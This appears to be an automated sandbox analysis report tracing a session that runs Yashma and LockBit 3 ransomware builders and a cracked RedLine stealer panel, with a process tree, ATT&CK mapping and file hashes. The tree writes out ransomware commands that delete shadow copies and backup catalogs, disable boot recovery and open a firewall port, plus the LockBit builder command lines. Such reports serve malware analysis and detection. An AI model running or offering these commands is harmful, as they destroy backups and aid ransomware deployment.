C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=3312,i,14108140272119373371,11714722327931684662,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=4600 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Yashma Ransomware Builder.7z"2⤵
-
-
C:\Users\Admin\Desktop\Yashma Ransomware Builder\Yashma ransomware builder v1.2.exe"C:\Users\Admin\Desktop\Yashma Ransomware Builder\Yashma ransomware builder v1.2.exe"1⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qepnqycx\qepnqycx.cmdline"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88BD.tmp" "c:\Users\Admin\Desktop\Yashma Ransomware Builder\CSC9C13A968EE9B455BA611D03D4EF04EEB.TMP"3⤵
-
-
-
C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg.exe"C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\read_it.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe"C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe"1⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: RenamesItself
-
C:\ProgramData\F738.tmp"C:\ProgramData\F738.tmp"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\F738.tmp >> NUL3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
- Drops file in System32 directory
-
C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE/insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{C31E32B6-D80D-42B4-82C5-EA0FA7920D36}.xps" 1338651988639800002⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
-
-
C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg-decrypter\Decrypter.exe"C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg-decrypter\Decrypter.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe"C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe"1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: RenamesItself
-
C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg-decrypter\Decrypter.exe"C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg-decrypter\Decrypter.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0x9c,0x108,0x7fff8136dcf8,0x7fff8136dd04,0x7fff8136dd102⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1880,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=2056 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2032,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=2028 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2276,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=2336 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3224,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=3436 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3344,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=3476 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4456,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=4476 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4672,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=4684 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5244,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=5248 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=5408,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=5284 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5548,i,11595141338760744215,10756274117644435773,262144 --variations-seed-version=20250314-130103.800000 --mojo-platform-channel-handle=5796 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Redline Stealer Builder.7z"2⤵
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Redline Stealer\OpenPort.bat" "1⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="RLS" dir=in action=allow protocol=TCP localport=66772⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Admin\Desktop\Redline Stealer\OpenPort.bat"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Desktop\Redline Stealer\RedLine.MainPanel-cracked.exe"C:\Users\Admin\Desktop\Redline Stealer\RedLine.MainPanel-cracked.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Redline Stealer\Libraries\builder.exe"C:\Users\Admin\Desktop\Redline Stealer\Libraries\builder.exe"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Users\Admin\Desktop\done.exe"C:\Users\Admin\Desktop\done.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 2324 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\done.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 23243⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg.exe"C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\read_it.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\LBLeak\Build.bat" "1⤵
-
C:\Users\Admin\Desktop\LBLeak\keygen.exekeygen -path C:\Users\Admin\Desktop\LBLeak\Build -pubkey pub.key -privkey priv.key2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type dec -privkey C:\Users\Admin\Desktop\LBLeak\Build\priv.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_pass.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32.dll2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32_pass.dll2⤵
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -ref -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_ReflectiveDll_DllMain.dll2⤵
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
-
C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Admin\Desktop\LBLeak\config.json"2⤵
-
C:\Program Files\Notepad++\updater\gup.exe"C:\Program Files\Notepad++\updater\gup.exe" -v8.78 -px643⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\LBLeak\Build.bat" "1⤵
-
C:\Users\Admin\Desktop\LBLeak\keygen.exekeygen -path C:\Users\Admin\Desktop\LBLeak\Build -pubkey pub.key -privkey priv.key2⤵
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type dec -privkey C:\Users\Admin\Desktop\LBLeak\Build\priv.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3Decryptor.exe2⤵
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3.exe2⤵
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -exe -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_pass.exe2⤵
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32.dll2⤵
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -dll -pass -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_Rundll32_pass.dll2⤵
-
-
C:\Users\Admin\Desktop\LBLeak\builder.exebuilder -type enc -ref -pubkey C:\Users\Admin\Desktop\LBLeak\Build\pub.key -config config.json -ofile C:\Users\Admin\Desktop\LBLeak\Build\LB3_ReflectiveDll_DllMain.dll2⤵
-
-
C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg-decrypter\Decrypter.exe"C:\Users\Admin\Desktop\Yashma Ransomware Builder\jg-decrypter\Decrypter.exe"1⤵
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
-
C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Admin\Desktop\LBLeak\config.json"1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Component Object Model Hijacking
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Component Object Model Hijacking
1Netsh Helper DLL
1Defense Evasion
Direct Volume Access
1Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
4File Deletion
4Modify Registry
5Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Query Registry
5Remote System Discovery
1System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
129B
MD558656f43a2c434d6c355ca9ced85730f
SHA101e31fc65aefe530d491e3d9a981b91cd7f15c6f
SHA25622bb9b3b4ba867990d98b701d33f1de04c76ad66678b635dcdb6cfe66158369c
SHA512ae77b41b52e9b62852ac198bea1002f0bf3b5e44942b16913290914c8512a14326ae1922f64c2e31596e42246a8fef3dc292f67b84c03f684c1eca1c4e2accce
-
Filesize
129B
MD5ddd8ede7b2bcf9e2d30fe7e8cc434876
SHA1621927b2048e2888f8a544e4d941fda61393a288
SHA2562e66be85231a7f26927dae172911bd954b96e60ac16ddbb6acc508cd05377c30
SHA5125a07fd4eeee7933b6fee6f88c9c20b2ab7103d2fe299c5123dad2c453720e40fa5b3514189b75b8d3516d7233186dbb3d1d4b43801faf1eeb4070e7f0d1b754d
-
Filesize
129B
MD51611adb65c48d4711e4292633d844f50
SHA1602a172196667706ff98d3e699c05bb32dc284a7
SHA256249305180ba024199b9053406ae1d386e0db64c865590b635000f494ea61931e
SHA512ab1416aee4e6fe31ad0c7268f470b1beb2fb72f74815c649265ef0d22146728e62ad5fa4870209f6b07d6080dac862808437f642a2191ade30b7d5dae000c70c
-
Filesize
54KB
MD540ff179077c10e93b133020f433cfe40
SHA194436c32fa1004cd2ea7470d996425216eecb1ab
SHA256b968c6453381454f34f1ceb867226007a47ccb2d8d75a8a5281a977dfdf57e79
SHA51230a58a9da2961aa0aee13d9b7a4de834e515d64e17d2be40c79c4f5d295ae5a3d7581a2417fa20da813b14fbe00a8b62ac61b4aae29da01d3780038ca6e95780
-
Filesize
108B
MD501c9bcce924035442c9e8041652a647a
SHA13c764851c91af022057d8aa519561b19763c9007
SHA2564d6a5a38ba4e0a918164267f20aa6a5c03322a977cab0ab4cbad34cfcc612500
SHA51212e7bb726c22dea5431eca4203c6e574fdbeb8487f216ecd479be87c4f65968c3b5ef4d8ecb07b66754375c49082c3bbe69ada3cabddeb40ad8312cc317bd503
-
Filesize
86KB
MD5d7bc9811a47370dc3c6dc92ed17b3d43
SHA1a01b56d09eea29a33708443a4179759baf91cefe
SHA256ef588ee39ddd33b8d842afa420125c5f6d646fb673069a5326051bd0fc1e07e1
SHA512eed2d6800c618417086796a7e1a1a0870ff0fe23a02cc1e0833c889fbca52270038f468dd4a7f1d411c1585f02935475e800b4681e2ff74f30f1e5c54fc487bd
-
Filesize
87KB
MD5ec8c711b28eeac1d147d75dda0677bd4
SHA1dde250decf0a6be91a5d2e32163d6fa31089effa
SHA256c4357799921ab8b1507a77a69e84e2c2956bae2eb73ef87805c663d140356f99
SHA5129f05d11020abded3cff39044c57ab303718e3797b008fb76e47cfd07773dc97ef2e1151a1fd4b190b6a67ad0689e8f2b54c618f35f11dcbdfe5dbcb3778cd0e4
-
Filesize
18B
MD54a108681ff9e8d76f63a712f8a735788
SHA11c5cfd33b4f04973f1d730512e039247d56629a4
SHA25684b7dcc397067d7f1972d9a499d46684db2ac9f8955d1d10971ba05ea68d866f
SHA5129da6b05083b56a98f37285e096d85df0f358b88b754292e68f81153da996affaff3a889c293b0079d991e2dd98149e2abea28417babe5c1e82f3b4fd85151f32
-
Filesize
6KB
MD504dba2589a5f2b45fd5838abae8caa23
SHA12928c1b100bde92b80663453f0bfeeb9e33e1d9a
SHA256517a0ac4d45937e5b57b78e6bd4cea34d969d2b81f77e59fa8bbe5952b97afc5
SHA512873045d6d2196afc95ca277c596692db1010aca572441b60a9c7ca08525481a1820423101b9e270eaf2de2673ee4cea63518bdf144746a062afbc044bab2ff39
-
Filesize
14KB
MD5294e9f64cb1642dd89229fff0592856b
SHA197b148c27f3da29ba7b18d6aee8a0db9102f47c9
SHA256917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2
SHA512b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf
-
Filesize
1KB
MD567a8abe602fd21c5683962fa75f8c9fd
SHA1e296942da1d2b56452e05ae7f753cd176d488ea8
SHA2561d19fed36f7d678ae2b2254a5eef240e6b6b9630e5696d0f9efb8b744c60e411
SHA51270b0b27a2b89f5f771467ac24e92b6cc927f3fdc10d8cb381528b2e08f2a5a3e8c25183f20233b44b71b54ce910349c279013c6a404a1a95b3cc6b8922ab9fc6
-
Filesize
1B
MD5d1457b72c3fb323a2671125aef3eab5d
SHA15bab61eb53176449e25c2c82f172b82cb13ffb9d
SHA2568a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1
SHA512ca63c07ad35d8c9fb0c92d6146759b122d4ec5d3f67ebe2f30ddb69f9e6c9fd3bf31a5e408b08f1d4d9cd68120cced9e57f010bef3cde97653fed5470da7d1a0
-
Filesize
8KB
MD5cf89d16bb9107c631daabf0c0ee58efb
SHA13ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA256d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
SHA5128cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
-
Filesize
3.0MB
MD5d1dd210d6b1312cb342b56d02bd5e651
SHA11e5f8def40bb0cb0f7156b9c2bab9efb49cfb699
SHA256bbd05cf6097ac9b1f89ea29d2542c1b7b67ee46848393895f5a9e43fa1f621e5
SHA51237a33d86aa47380aa21b17b41dfc8d04f464de7e71820900397436d0916e91b353f184cefe0ad16ae7902f0128aae786d78f14b58beee0c46d583cf1bfd557b8
-
Filesize
64KB
MD59e466b4837d8431be725d6b9c1b4d9ef
SHA13f247b7c89985a41d839cad351cd0fc182fcb284
SHA2562f9a5eeb5ac8cec52a3e73621e4d392f501f5d657dfec3215ccd40eec317208d
SHA51201de0fda555d63b5c38339b0f6d38c28de2a882643439679e63cf5d75f13516b57dc90e8dfb8c638bda328fc12342e58d1e501acec8f85b92dbd5589dac06418
-
Filesize
4B
MD5f49655f856acb8884cc0ace29216f511
SHA1cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA2567852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
SHA512599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8
-
Filesize
960B
MD516846df493521e84fe47cd6b6451ec8f
SHA16d99eb017c5aec08d3a7e908bbd4a051ce250c02
SHA25669f19f2ab2f3625faca623477864766ab1ef3a21712bc892d7b2b0886585b3f9
SHA512aefa5121601b8273cff6b79b7f76417c71e29e835b66faf3e1a67d0d38fb9ebe90320b75493fd5c4a2d9ea3e3c485d0a84bcdbfb78c26a8ecee3175cd8bd93cd
-
Filesize
40B
MD5bd83426a5a006b0d097ace6d84bf5e11
SHA145684f5112db4d6eaeb4c0b98e95740b4217e275
SHA2561bf1428c2039a63d2026cb8d09950654432e801d1caba36f8bc55864ff825059
SHA512ed71318f822ee32bcb90bc0c4cd32fc3643ce86356d84a5a02b18e4fd054bfcf9f44426eeb1d6128723e72928f0fb1afbe9ad18488a4260fa7e44d24f83f00a4
-
Filesize
1B
MD55058f1af8388633f609cadb75a75dc9d
SHA13a52ce780950d4d969792a2559cd519d7ee8c727
SHA256cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
SHA5120b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
-
Filesize
414B
MD53dbc124da47d745f90c8448163ac9cb1
SHA17fc1ca92096f858487d38f9ef3a31d9db893b3d8
SHA25622239f729b670de7470125d743f8b74e83c2c33db4f69603f14f3ec4b6d1084a
SHA51278d3fafe6f873bc03e2a7adcb6c983f1aac167e0104df411b4db5e903642dae33c437076e37417ce3785315ad4fc050ff3940bf7eb9326fe81c48fffdedb5294
-
Filesize
139KB
MD5c9c2f3805f0012628e9d62e8f75af4dd
SHA1b6269b1fc8813b93c11ec6066dc33d9f99f2e431
SHA256b2c3beda4b000a3d9af0a457d6d942ec81696f3ed485f7cf723b18008a5f3d10
SHA512ed4cb425807bbef4da92fe9e17b78746e096612e6006521279162379b2fc65f8dec7647e9c5403c6a74e6eb9b61dce7ca1c74c65d77aafbd0719be79cb1d70ff
-
Filesize
432B
MD58d2d009b4bdde0c273dfd8e90f769015
SHA1cbeb095473937259c3cfd6ff7de2b74d12fbe96b
SHA256ae51f8124067c6c5785885579304c1a37633b5de1382045559524e5194ae5256
SHA5127776ce5ee1f265b97be32293a21d672a50b8998363c1631c180cbcefadc6fd2bf3dfd3b2c9a74cbce6f02e562b80943b204f6ac7d1c91c6f27c21fb77f581372
-
Filesize
456B
MD5a658ce9b73ac5e970a185d398bf675b9
SHA1c944761f89f94fb70376e1c79c9239f29ea64543
